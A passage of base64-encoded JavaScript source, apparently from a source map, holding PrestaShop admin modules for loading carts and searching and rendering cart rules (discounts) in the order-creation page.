uaW1wb3J0IHtFdmVudEVtaXR0ZXJ9IGZyb20gJ0Bjb21wb25lbnRzL2V2ZW50LWVtaXR0ZXInO1xuaW1wb3J0IGV2ZW50TWFwIGZyb20gJ0BwYWdlcy9vcmRlci9jcmVhdGUvZXZlbnQtbWFwJztcblxuY29uc3QgeyR9ID0gd2luZG93O1xuXG4vKipcbiAqIFByb3ZpZGVzIGFqYXggY2FsbHMgZm9yIGdldHRpbmcgY2FydCBpbmZvcm1hdGlvblxuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBDYXJ0UHJvdmlkZXIge1xuICBjb25zdHJ1Y3RvcigpIHtcbiAgICB0aGlzLiRjb250YWluZXIgPSAkKGNyZWF0ZU9yZGVyUGFnZU1hcC5vcmRlckNyZWF0aW9uQ29udGFpbmVyKTtcbiAgICB0aGlzLnJvdXRlciA9IG5ldyBSb3V0ZXIoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXRzIGNhcnQgaW5mb3JtYXRpb25cbiAgICpcbiAgICogQHBhcmFtIGNhcnRJZFxuICAgKlxuICAgKiBAcmV0dXJucyB7anFYSFJ9LiBPYmplY3Qgd2l0aCBjYXJ0IGluZm9ybWF0aW9uIGluIHJlc3BvbnNlLlxuICAgKi9cbiAgZ2V0Q2FydChjYXJ0SWQpIHtcbiAgICAkLmdldCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY2FydHNfaW5mbycsIHtjYXJ0SWR9KSkudGhlbigoY2FydEluZm8pID0+IHtcbiAgICAgIEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnRMb2FkZWQsIGNhcnRJbmZvKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXRzIGV4aXN0aW5nIGVtcHR5IGNhcnQgb3IgY3JlYXRlcyBuZXcgZW1wdHkgY2FydCBmb3IgY3VzdG9tZXIuXG4gICAqXG4gICAqIEBwYXJhbSBjdXN0b21lcklkXG4gICAqXG4gICAqIEByZXR1cm5zIHtqcVhIUn0uIE9iamVjdCB3aXRoIGNhcnQgaW5mb3JtYXRpb24gaW4gcmVzcG9uc2VcbiAgICovXG4gIGxvYWRFbXB0eUNhcnQoY3VzdG9tZXJJZCkge1xuICAgICQucG9zdCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY2FydHNfY3JlYXRlJyksIHtcbiAgICAgIGN1c3RvbWVySWQsXG4gICAgfSkudGhlbigoY2FydEluZm8pID0+IHtcbiAgICAgIEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnRMb2FkZWQsIGNhcnRJbmZvKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBEdXBsaWNhdGVzIGNhcnQgZnJvbSBwcm92aWRlZCBvcmRlclxuICAgKlxuICAgKiBAcGFyYW0gb3JkZXJJZFxuICAgKlxuICAgKiBAcmV0dXJucyB7anFYSFJ9LiBPYmplY3Qgd2l0aCBjYXJ0IGluZm9ybWF0aW9uIGluIHJlc3BvbnNlXG4gICAqL1xuICBkdXBsaWNhdGVPcmRlckNhcnQob3JkZXJJZCkge1xuICAgICQucG9zdCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fb3JkZXJzX2R1cGxpY2F0ZV9jYXJ0Jywge29yZGVySWR9KSkudGhlbigoY2FydEluZm8pID0+IHtcbiAgICAgIEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmNhcnRMb2FkZWQsIGNhcnRJbmZvKTtcbiAgICB9KTtcbiAgfVxufVxuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuXG5pbXBvcnQgQ2FydEVkaXRvciBmcm9tICdAcGFnZXMvb3JkZXIvY3JlYXRlL2NhcnQtZWRpdG9yJztcbmltcG9ydCBDYXJ0UnVsZXNSZW5kZXJlciBmcm9tICdAcGFnZXMvb3JkZXIvY3JlYXRlL2NhcnQtcnVsZXMtcmVuZGVyZXInO1xuaW1wb3J0IHtFdmVudEVtaXR0ZXJ9IGZyb20gJ0Bjb21wb25lbnRzL2V2ZW50LWVtaXR0ZXInO1xuaW1wb3J0IGV2ZW50TWFwIGZyb20gJ0BwYWdlcy9vcmRlci9jcmVhdGUvZXZlbnQtbWFwJztcbmltcG9ydCBSb3V0ZXIgZnJvbSAnQGNvbXBvbmVudHMvcm91dGVyJztcbmltcG9ydCBTdW1tYXJ5UmVuZGVyZXIgZnJvbSAnQHBhZ2VzL29yZGVyL2NyZWF0ZS9zdW1tYXJ5LXJlbmRlcmVyJztcbmltcG9ydCBTaGlwcGluZ1JlbmRlcmVyIGZyb20gJ0BwYWdlcy9vcmRlci9jcmVhdGUvc2hpcHBpbmctcmVuZGVyZXInO1xuaW1wb3J0IFByb2R1Y3RSZW5kZXJlciBmcm9tICdAcGFnZXMvb3JkZXIvY3JlYXRlL3Byb2R1Y3QtcmVuZGVyZXInO1xuXG5jb25zdCB7JH0gPSB3aW5kb3c7XG5cbi8qKlxuICogUmVzcG9uc2libGUgZm9yIHNlYXJjaGluZyBjYXJ0IHJ1bGVzIGFuZCBtYW5hZ2luZyBjYXJ0IHJ1bGVzIHNlYXJjaCBibG9ja1xuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBDYXJ0UnVsZU1hbmFnZXIge1xuICBjb25zdHJ1Y3RvcigpIHtcbiAgICB0aGlzLmFjdGl2ZVNlYXJjaFJlcXVlc3QgPSBudWxsO1xuXG4gICAgdGhpcy5yb3V0ZXIgPSBuZXcgUm91dGVyKCk7XG4gICAgdGhpcy5jYXJ0UnVsZXNSZW5kZXJlciA9IG5ldyBDYXJ0UnVsZXNSZW5kZXJlcigpO1xuICAgIHRoaXMuY2FydEVkaXRvciA9IG5ldyBDYXJ0RWRpdG9yKCk7XG4gICAgdGhpcy5zdW1tYXJ5UmVuZGVyZXIgPSBuZXcgU3VtbWFyeVJlbmRlcmVyKCk7XG4gICAgdGhpcy5zaGlwcGluZ1JlbmRlcmVyID0gbmV3IFNoaXBwaW5nUmVuZGVyZXIoKTtcbiAgICB0aGlzLnByb2R1Y3RSZW5kZXJlciA9IG5ldyBQcm9kdWN0UmVuZGVyZXIoKTtcblxuICAgIHRoaXMuaW5pdExpc3RlbmVycygpO1xuXG4gICAgcmV0dXJuIHtcbiAgICAgIHNlYXJjaDogKHNlYXJjaFBocmFzZSkgPT4gdGhpcy5zZWFyY2goc2VhcmNoUGhyYXNlKSxcbiAgICAgIHN0b3BTZWFyY2hpbmc6ICgpID0+IHRoaXMuY2FydFJ1bGVzUmVuZGVyZXIuaGlkZVJlc3VsdHNEcm9wZG93bigpLFxuICAgICAgYWRkQ2FydFJ1bGVUb0NhcnQ6IChjYXJ0UnVsZUlkLCBjYXJ0SWQpID0+IHRoaXMuY2FydEVkaXRvci5hZGRDYXJ0UnVsZVRvQ2FydChjYXJ0UnVsZUlkLCBjYXJ0SWQpLFxuICAgICAgcmVtb3ZlQ2FydFJ1bGVGcm9tQ2FydDogKGNhcnRSdWxlSWQsIGNhcnRJZCkgPT4gdGhpcy5jYXJ0RWRpdG9yLnJlbW92ZUNhcnRSdWxlRnJvbUNhcnQoY2FydFJ1bGVJZCwgY2FydElkKSxcbiAgICB9O1xuICB9XG5cbiAgLyoqXG4gICAqIEluaXRpYXRlcyBldmVudCBsaXN0ZW5lcnMgZm9yIGNhcnQgcnVsZSBhY3Rpb25zXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0TGlzdGVuZXJzKCkge1xuICAgIHRoaXMub25DYXJ0UnVsZVNlYXJjaCgpO1xuICAgIHRoaXMub25BZGRDYXJ0UnVsZVRvQ2FydCgpO1xuICAgIHRoaXMub25BZGRDYXJ0UnVsZVRvQ2FydEZhaWx1cmUoKTtcbiAgICB0aGlzLm9uUmVtb3ZlQ2FydFJ1bGVGcm9tQ2FydCgpO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZm9yIGNhcnQgcnVsZSBzZWFyY2ggYWN0aW9uXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBvbkNhcnRSdWxlU2VhcmNoKCkge1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5jYXJ0UnVsZVNlYXJjaGVkLCAoY2FydFJ1bGVzKSA9PiB7XG4gICAgICB0aGlzLmNhcnRSdWxlc1JlbmRlcmVyLnJlbmRlclNlYXJjaFJlc3VsdHMoY2FydFJ1bGVzKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGV2ZW50IG9mIGFkZCBjYXJ0IHJ1bGUgdG8gY2FydCBhY3Rpb25cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIG9uQWRkQ2FydFJ1bGVUb0NhcnQoKSB7XG4gICAgRXZlbnRFbWl0dGVyLm9uKGV2ZW50TWFwLmNhcnRSdWxlQWRkZWQsIChjYXJ0SW5mbykgPT4ge1xuICAgICAgY29uc3QgY2FydElzRW1wdHkgPSBjYXJ0SW5mby5wcm9kdWN0cy5sZW5ndGggPT09IDA7XG4gICAgICB0aGlzLmNhcnRSdWxlc1JlbmRlcmVyLnJlbmRlckNhcnRSdWxlc0Jsb2NrKGNhcnRJbmZvLmNhcnRSdWxlcywgY2FydElzRW1wdHkpO1xuICAgICAgdGhpcy5wcm9kdWN0UmVuZGVyZXIucmVuZGVyTGlzdChjYXJ0SW5mby5wcm9kdWN0cyk7XG4gICAgICB0aGlzLnNoaXBwaW5nUmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvLnNoaXBwaW5nLCBjYXJ0SXNFbXB0eSk7XG4gICAgICB0aGlzLnN1bW1hcnlSZW5kZXJlci5yZW5kZXIoY2FydEluZm8pO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZXZlbnQgd2hlbiBhZGQgY2FydCBydWxlIHRvIGNhcnQgZmFpbHNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIG9uQWRkQ2FydFJ1bGVUb0NhcnRGYWlsdXJlKCkge1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5jYXJ0UnVsZUZhaWxlZFRvQWRkLCAobWVzc2FnZSkgPT4ge1xuICAgICAgdGhpcy5jYXJ0UnVsZXNSZW5kZXJlci5kaXNwbGF5RXJyb3JNZXNzYWdlKG1lc3NhZ2UpO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZXZlbnQgZm9yIHJlbW92ZSBjYXJ0IHJ1bGUgZnJvbSBjYXJ0IGFjdGlvblxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25SZW1vdmVDYXJ0UnVsZUZyb21DYXJ0KCkge1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5jYXJ0UnVsZVJlbW92ZWQsIChjYXJ0SW5mbykgPT4ge1xuICAgICAgY29uc3QgY2FydElzRW1wdHkgPSBjYXJ0SW5mby5wcm9kdWN0cy5sZW5ndGggPT09IDA7XG4gICAgICB0aGlzLnNoaXBwaW5nUmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvLnNoaXBwaW5nLCBjYXJ0SXNFbXB0eSk7XG4gICAgICB0aGlzLmNhcnRSdWxlc1JlbmRlcmVyLnJlbmRlckNhcnRSdWxlc0Jsb2NrKGNhcnRJbmZvLmNhcnRSdWxlcywgY2FydElzRW1wdHkpO1xuICAgICAgdGhpcy5zdW1tYXJ5UmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvKTtcbiAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlbmRlckxpc3QoY2FydEluZm8ucHJvZHVjdHMpO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIFNlYXJjaGVzIGZvciBjYXJ0IHJ1bGVzIGJ5IHNlYXJjaCBwaHJhc2VcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNlYXJjaChzZWFyY2hQaHJhc2UpIHtcbiAgICBpZiAodGhpcy5hY3RpdmVTZWFyY2hSZXF1ZXN0ICE9PSBudWxsKSB7XG4gICAgICB0aGlzLmFjdGl2ZVNlYXJjaFJlcXVlc3QuYWJvcnQoKTtcbiAgICB9XG5cbiAgICB0aGlzLmFjdGl2ZVNlYXJjaFJlcXVlc3QgPSAkLmdldCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY2FydF9ydWxlc19zZWFyY2gnKSwge1xuICAgICAgc2VhcmNoX3BocmFzZTogc2VhcmNoUGhyYXNlLFxuICAgIH0pO1xuXG4gICAgdGhpcy5hY3RpdmVTZWFyY2hSZXF1ZXN0LnRoZW4oKGNhcnRSdWxlcykgPT4ge1xuICAgICAgRXZlbnRFbWl0dGVyLmVtaXQoZXZlbnRNYXAuY2FydFJ1bGVTZWFyY2hlZCwgY2FydFJ1bGVzKTtcbiAgICB9KS5jYXRjaCgoZSkgPT4ge1xuICAgICAgaWYgKGUuc3RhdHVzVGV4dCA9PT0gJ2Fib3J0Jykge1xuICAgICAgICByZXR1cm47XG4gICAgICB9XG5cbiAgICAgIHdpbmRvdy5zaG93RXJyb3JNZXNzYWdlKGUucmVzcG9uc2VKU09OLm1lc3NhZ2UpO1xuICAgIH0pO1xuICB9XG59XG4iLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5cbmltcG9ydCBjcmVhdGVPcmRlck1hcCBmcm9tICcuL2NyZWF0ZS1vcmRlci1tYXAnO1xuXG5jb25zdCB7JH0gPSB3aW5kb3c7XG5cbi8qKlxuICogUmVuZGVycyBjYXJ0IHJ1bGVzIChjYXJ0UnVsZXMpIGJsb2NrXG4gKi9cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIENhcnRSdWxlc1JlbmRlcmVyIHtcbiAgY29uc3RydWN0b3IoKSB7XG4gICAgdGhpcy4kY2FydFJ1bGVzQmxvY2sgPSAkKGNyZWF0ZU9yZGVyTWFwLmNhcnRSdWxlc0Jsb2NrKTtcbiAgICB0aGlzLiRjYXJ0UnVsZXNUYWJsZSA9ICQoY3JlYXRlT3JkZXJNYXAuY2FydFJ1bGVzVGFibGUpO1xuICAgIHRoaXMuJHNlYXJjaFJlc3VsdEJveCA9ICQoY3JlYXRlT3JkZXJNYXAuY2FydFJ1bGVzU2VhcmNoUmVzdWx0Qm94KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZXNwb25zaWJsZSBmb3IgcmVuZGVyaW5nIGNhcnRSdWxlcyAoYS5rLmEgY2FydCBydWxlcy9kaXNjb3VudHMpIGJsb2NrXG4gICAqXG4gICAqIEBwYXJhbSB7QXJyYXl9IGNhcnRSdWxlc1xuICAgKiBAcGFyYW0ge0Jvb2xlYW59IGVtcHR5Q2FydFxuICAgKi9cbiAgcmVuZGVyQ2FydFJ1bGVzQmxvY2soY2FydFJ1bGVzLCBlbXB0eUNhcnQpIHtcbiAgICB0aGlzLmhpZGVFcnJvckJsb2NrKCk7XG4gICAgLy8gZG8gbm90IHJlbmRlciBjYXJ0IHJ1bGVzIGJsb2NrIGF0IGFsbCBpZiBjYXJ0IGhhcyBubyBwcm9kdWN0c1xuICAgIGlmIChlbXB0eUNhcnQpIHtcbiAgICAgIHRoaXMuaGlkZUNhcnRSdWxlc0Jsb2NrKCk7XG4gICAgICByZXR1cm47XG4gICAgfVxuICAgIHRoaXMuc2hvd0NhcnRSdWxlc0Jsb2NrKCk7XG5cbiAgICAvLyBkbyBub3QgcmVuZGVyIGNhcnQgcnVsZXMgbGlzdCB3aGVuIHRoZXJlIGFyZSBubyBjYXJ0IHJ1bGVzXG4gICAgaWYgKGNhcnRSdWxlcy5sZW5ndGggPT09IDApIHtcbiAgICAgIHRoaXMuaGlkZUNhcnRSdWxlc0xpc3QoKTtcblxuICAgICAgcmV0dXJuO1xuICAgIH1cblxuICAgIHRoaXMucmVuZGVyTGlzdChjYXJ0UnVsZXMpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlc3BvbnNpYmxlIGZvciByZW5kZXJpbmcgc2VhcmNoIHJlc3VsdHMgZHJvcGRvd25cbiAgICpcbiAgICogQHBhcmFtIHNlYXJjaFJlc3VsdHNcbiAgICovXG4gIHJlbmRlclNlYXJjaFJlc3VsdHMoc2VhcmNoUmVzdWx0cykge1xuICAgIHRoaXMuY2xlYXJTZWFyY2hSZXN1bHRzKCk7XG5cbiAgICBpZiAoc2VhcmNoUmVzdWx0cy5jYXJ0X3J1bGVzLmxlbmd0aCA9PT0gMCkge1xuICAgICAgdGhpcy5yZW5kZXJOb3RGb3VuZCgpO1xuICAgIH0gZWxzZSB7XG4gICAgICB0aGlzLnJlbmRlckZvdW5kQ2FydFJ1bGVzKHNlYXJjaFJlc3VsdHMuY2FydF9ydWxlcyk7XG4gICAgfVxuXG4gICAgdGhpcy5zaG93UmVzdWx0c0Ryb3Bkb3duKCk7XG4gIH1cblxuICAvKipcbiAgICogRGlzcGxheXMgZXJyb3IgbWVzc2FnZSBiZWxsb3cgc2VhcmNoIGlucHV0XG4gICAqXG4gICAqIEBwYXJhbSBtZXNzYWdlXG4gICAqL1xuICBkaXNwbGF5RXJyb3JNZXNzYWdlKG1lc3NhZ2UpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmNhcnRSdWxlRXJyb3JUZXh0KS50ZXh0KG1lc3NhZ2UpO1xuICAgIHRoaXMuc2hvd0Vycm9yQmxvY2soKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBjYXJ0IHJ1bGVzIHNlYXJjaCByZXN1bHQgZHJvcGRvd25cbiAgICovXG4gIGhpZGVSZXN1bHRzRHJvcGRvd24oKSB7XG4gICAgdGhpcy4kc2VhcmNoUmVzdWx0Qm94LmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBEaXNwbGF5cyBjYXJ0IHJ1bGVzIHNlYXJjaCByZXN1bHQgZHJvcGRvd25cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dSZXN1bHRzRHJvcGRvd24oKSB7XG4gICAgdGhpcy4kc2VhcmNoUmVzdWx0Qm94LnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZW5kZXJzIHdhcm5pbmcgdGhhdCBubyBjYXJ0IHJ1bGUgd2FzIGZvdW5kXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJOb3RGb3VuZCgpIHtcbiAgICBjb25zdCAkdGVtcGxhdGUgPSAkKCQoY3JlYXRlT3JkZXJNYXAuY2FydFJ1bGVzTm90Rm91bmRUZW1wbGF0ZSkuaHRtbCgpKS5jbG9uZSgpO1xuICAgIHRoaXMuJHNlYXJjaFJlc3VsdEJveC5odG1sKCR0ZW1wbGF0ZSk7XG4gIH1cblxuICAvKipcbiAgICogRW1wdGllcyBjYXJ0IHJ1bGUgc2VhcmNoIHJlc3VsdHMgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGNsZWFyU2VhcmNoUmVzdWx0cygpIHtcbiAgICB0aGlzLiRzZWFyY2hSZXN1bHRCb3guZW1wdHkoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZW5kZXJzIGZvdW5kIGNhcnQgcnVsZXMgYWZ0ZXIgc2VhcmNoXG4gICAqXG4gICAqIEBwYXJhbSBjYXJ0UnVsZXNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHJlbmRlckZvdW5kQ2FydFJ1bGVzKGNhcnRSdWxlcykge1xuICAgIGNvbnN0ICRjYXJ0UnVsZVRlbXBsYXRlID0gJCgkKGNyZWF0ZU9yZGVyTWFwLmZvdW5kQ2FydFJ1bGVUZW1wbGF0ZSkuaHRtbCgpKTtcbiAgICBPYmplY3QudmFsdWVzKGNhcnRSdWxlcykuZm9yRWFjaCgoY2FydFJ1bGUpID0+IHtcbiAgICAgIGNvbnN0ICR0ZW1wbGF0ZSA9ICRjYXJ0UnVsZVRlbXBsYXRlLmNsb25lKCk7XG5cbiAgICAgIGxldCBjYXJ0UnVsZU5hbWUgPSBjYXJ0UnVsZS5uYW1lO1xuXG4gICAgICBpZiAoY2FydFJ1bGUuY29kZSAhPT0gJycpIHtcbiAgICAgICAgY2FydFJ1bGVOYW1lID0gYCR7Y2FydFJ1bGUubmFtZX0gLSAke2NhcnRSdWxlLmNvZGV9YDtcbiAgICAgIH1cblxuICAgICAgJHRlbXBsYXRlLnRleHQoY2FydFJ1bGVOYW1lKTtcbiAgICAgICR0ZW1wbGF0ZS5kYXRhKCdjYXJ0LXJ1bGUtaWQnLCBjYXJ0UnVsZS5jYXJ0UnVsZUlkKTtcbiAgICAgIHRoaXMuJHNlYXJjaFJlc3VsdEJveC5hcHBlbmQoJHRlbXBsYXRlKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZXNwb25zaWJsZSBmb3IgcmVuZGVyaW5nIHRoZSBsaXN0IG9mIGNhcnQgcnVsZXNcbiAgICpcbiAgICogQHBhcmFtIHtBcnJheX0gY2FydFJ1bGVzXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJMaXN0KGNhcnRSdWxlcykge1xuICAgIHRoaXMuY2xlYW5DYXJ0UnVsZXNMaXN0KCk7XG4gICAgY29uc3QgJGNhcnRSdWxlc1RhYmxlUm93VGVtcGxhdGUgPSAkKCQoY3JlYXRlT3JkZXJNYXAuY2FydFJ1bGVzVGFibGVSb3dUZW1wbGF0ZSkuaHRtbCgpKTtcblxuICAgIE9iamVjdC52YWx1ZXMoY2FydFJ1bGVzKS5mb3JFYWNoKChjYXJ0UnVsZSkgPT4ge1xuICAgICAgY29uc3QgJHRlbXBsYXRlID0gJGNhcnRSdWxlc1RhYmxlUm93VGVtcGxhdGUuY2xvbmUoKTtcblxuICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAuY2FydFJ1bGVOYW1lRmllbGQpLnRleHQoY2FydFJ1bGUubmFtZSk7XG4gICAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5jYXJ0UnVsZURlc2NyaXB0aW9uRmllbGQpLnRleHQoY2FydFJ1bGUuZGVzY3JpcHRpb24pO1xuICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAuY2FydFJ1bGVWYWx1ZUZpZWxkKS50ZXh0KGNhcnRSdWxlLnZhbHVlKTtcbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmNhcnRSdWxlRGVsZXRlQnRuKS5kYXRhKCdjYXJ0LXJ1bGUtaWQnLCBjYXJ0UnVsZS5jYXJ0UnVsZUlkKTtcblxuICAgICAgdGhpcy4kY2FydFJ1bGVzVGFibGUuZmluZCgndGJvZHknKS5hcHBlbmQoJHRlbXBsYXRlKTtcbiAgICB9KTtcblxuICAgIHRoaXMuc2hvd0NhcnRSdWxlc0xpc3QoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBlcnJvciBibG9ja1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgc2hvd0Vycm9yQmxvY2soKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jYXJ0UnVsZUVycm9yQmxvY2spLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBlcnJvciBibG9ja1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaGlkZUVycm9yQmxvY2soKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jYXJ0UnVsZUVycm9yQmxvY2spLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBjYXJ0UnVsZXMgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dDYXJ0UnVsZXNCbG9jaygpIHtcbiAgICB0aGlzLiRjYXJ0UnVsZXNCbG9jay5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogaGl